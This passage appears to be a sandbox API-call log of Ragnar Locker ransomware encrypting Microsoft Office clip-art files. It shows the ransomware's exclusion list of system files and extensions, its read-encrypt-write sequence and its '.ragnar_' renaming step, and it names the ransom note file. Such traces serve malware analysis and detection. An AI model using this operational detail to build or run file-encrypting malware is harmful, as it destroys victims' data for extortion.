lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.ragnar_FD7BD9FC" [0081.725] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.726] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2708, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00449_.WMF", cAlternateFileName="")) returned 1 [0081.726] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.726] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD00449_.WMF" | out: lpString1="DD00449_.WMF") returned="DD00449_.WMF" [0081.726] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned=".WMF" [0081.726] lstrcmpiW (lpString1="DD00449_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.726] lstrcmpiW (lpString1="DD00449_.WMF", lpString2="autorun.inf") returned 1 [0081.726] lstrcmpiW (lpString1="DD00449_.WMF", lpString2="boot.ini") returned 1 [0081.726] lstrcmpiW (lpString1="DD00449_.WMF", lpString2="bootfont.bin") returned 1 [0081.726] lstrcmpiW (lpString1="DD00449_.WMF", lpString2="bootsect.bak") returned 1 [0081.726] lstrcmpiW (lpString1="DD00449_.WMF", lpString2="bootmgr") returned 1 [0081.726] lstrcmpiW (lpString1="DD00449_.WMF", lpString2="bootmgr.efi") returned 1 [0081.726] lstrcmpiW (lpString1="DD00449_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.726] lstrcmpiW (lpString1="DD00449_.WMF", lpString2="desktop.ini") returned -1 [0081.726] lstrcmpiW (lpString1="DD00449_.WMF", lpString2="iconcache.db") returned -1 [0081.726] lstrcmpiW (lpString1="DD00449_.WMF", lpString2="ntldr") returned -1 [0081.726] lstrcmpiW (lpString1="DD00449_.WMF", lpString2="ntuser.dat") returned -1 [0081.726] lstrcmpiW (lpString1="DD00449_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.726] lstrcmpiW (lpString1="DD00449_.WMF", lpString2="ntuser.ini") returned -1 [0081.726] lstrcmpiW (lpString1="DD00449_.WMF", lpString2="thumbs.db") returned -1 [0081.726] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.726] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.726] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.726] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.726] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.726] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.726] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf")) returned 0x20 [0081.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.727] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9992) returned 1 [0081.727] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x26ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.727] GetProcessHeap () returned 0x580000 [0081.727] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.727] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.729] VirtualAlloc (lpAddress=0x0, dwSize=0x2708, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.729] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.729] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.729] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2708, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2708, lpOverlapped=0x0) returned 1 [0081.730] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.730] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2708, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.730] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2708, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2708, lpOverlapped=0x0) returned 1 [0081.731] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2708, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.731] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.731] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2708, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.731] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.731] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.731] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.731] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.731] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.731] GetProcessHeap () returned 0x580000 [0081.731] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.731] CloseHandle (hObject=0xf4) returned 1 [0081.731] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" [0081.731] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.ragnar_FD7BD9FC" [0081.731] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.732] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac04fe00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac04fe00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5130, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00687_.WMF", cAlternateFileName="")) returned 1 [0081.732] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.732] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD00687_.WMF" | out: lpString1="DD00687_.WMF") returned="DD00687_.WMF" [0081.732] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned=".WMF" [0081.732] lstrcmpiW (lpString1="DD00687_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.732] lstrcmpiW (lpString1="DD00687_.WMF", lpString2="autorun.inf") returned 1 [0081.732] lstrcmpiW (lpString1="DD00687_.WMF", lpString2="boot.ini") returned 1 [0081.732] lstrcmpiW (lpString1="DD00687_.WMF", lpString2="bootfont.bin") returned 1 [0081.732] lstrcmpiW (lpString1="DD00687_.WMF", lpString2="bootsect.bak") returned 1 [0081.732] lstrcmpiW (lpString1="DD00687_.WMF", lpString2="bootmgr") returned 1 [0081.732] lstrcmpiW (lpString1="DD00687_.WMF", lpString2="bootmgr.efi") returned 1 [0081.732] lstrcmpiW (lpString1="DD00687_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.732] lstrcmpiW (lpString1="DD00687_.WMF", lpString2="desktop.ini") returned -1 [0081.732] lstrcmpiW (lpString1="DD00687_.WMF", lpString2="iconcache.db") returned -1 [0081.732] lstrcmpiW (lpString1="DD00687_.WMF", lpString2="ntldr") returned -1 [0081.732] lstrcmpiW (lpString1="DD00687_.WMF", lpString2="ntuser.dat") returned -1 [0081.732] lstrcmpiW (lpString1="DD00687_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.732] lstrcmpiW (lpString1="DD00687_.WMF", lpString2="ntuser.ini") returned -1 [0081.732] lstrcmpiW (lpString1="DD00687_.WMF", lpString2="thumbs.db") returned -1 [0081.732] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.732] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.732] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.732] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.732] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.733] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.733] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf")) returned 0x20 [0081.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.733] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20784) returned 1 [0081.733] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5127, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.733] GetProcessHeap () returned 0x580000 [0081.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.733] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.735] VirtualAlloc (lpAddress=0x0, dwSize=0x5130, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.735] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.735] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.735] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5130, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5130, lpOverlapped=0x0) returned 1 [0081.738] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.738] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5130, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.738] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5130, lpOverlapped=0x0) returned 1 [0081.738] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5130, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.739] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.739] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5130, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.739] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.739] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.739] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.739] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.739] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.739] GetProcessHeap () returned 0x580000 [0081.739] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.739] CloseHandle (hObject=0xf4) returned 1 [0081.739] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" [0081.739] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.ragnar_FD7BD9FC" [0081.739] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.740] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcb1e00, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcb1e00, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x600c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00705_.WMF", cAlternateFileName="")) returned 1 [0081.740] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.740] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD00705_.WMF" | out: lpString1="DD00705_.WMF") returned="DD00705_.WMF" [0081.740] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned=".WMF" [0081.740] lstrcmpiW (lpString1="DD00705_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.740] lstrcmpiW (lpString1="DD00705_.WMF", lpString2="autorun.inf") returned 1 [0081.740] lstrcmpiW (lpString1="DD00705_.WMF", lpString2="boot.ini") returned 1 [0081.740] lstrcmpiW (lpString1="DD00705_.WMF", lpString2="bootfont.bin") returned 1 [0081.740] lstrcmpiW (lpString1="DD00705_.WMF", lpString2="bootsect.bak") returned 1 [0081.740] lstrcmpiW (lpString1="DD00705_.WMF", lpString2="bootmgr") returned 1 [0081.740] lstrcmpiW (lpString1="DD00705_.WMF", lpString2="bootmgr.efi") returned 1 [0081.740] lstrcmpiW (lpString1="DD00705_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.740] lstrcmpiW (lpString1="DD00705_.WMF", lpString2="desktop.ini") returned -1 [0081.740] lstrcmpiW (lpString1="DD00705_.WMF", lpString2="iconcache.db") returned -1 [0081.740] lstrcmpiW (lpString1="DD00705_.WMF", lpString2="ntldr") returned -1 [0081.740] lstrcmpiW (lpString1="DD00705_.WMF", lpString2="ntuser.dat") returned -1 [0081.740] lstrcmpiW (lpString1="DD00705_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.740] lstrcmpiW (lpString1="DD00705_.WMF", lpString2="ntuser.ini") returned -1 [0081.740] lstrcmpiW (lpString1="DD00705_.WMF", lpString2="thumbs.db") returned -1 [0081.740] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.740] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.740] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.740] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.740] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.740] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.741] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf")) returned 0x20 [0081.741] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.741] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=24588) returned 1 [0081.741] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6003, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.741] GetProcessHeap () returned 0x580000 [0081.741] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.741] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.742] VirtualAlloc (lpAddress=0x0, dwSize=0x600c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.742] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.743] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.743] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x600c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x600c, lpOverlapped=0x0) returned 1 [0081.743] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.744] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x600c, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.744] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x600c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x600c, lpOverlapped=0x0) returned 1 [0081.744] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x600c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.744] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.744] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x600c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.744] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.744] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.744] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.744] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.744] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.745] GetProcessHeap () returned 0x580000 [0081.745] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.745] CloseHandle (hObject=0xf4) returned 1 [0081.745] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" [0081.745] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.ragnar_FD7BD9FC" [0081.745] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.745] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, 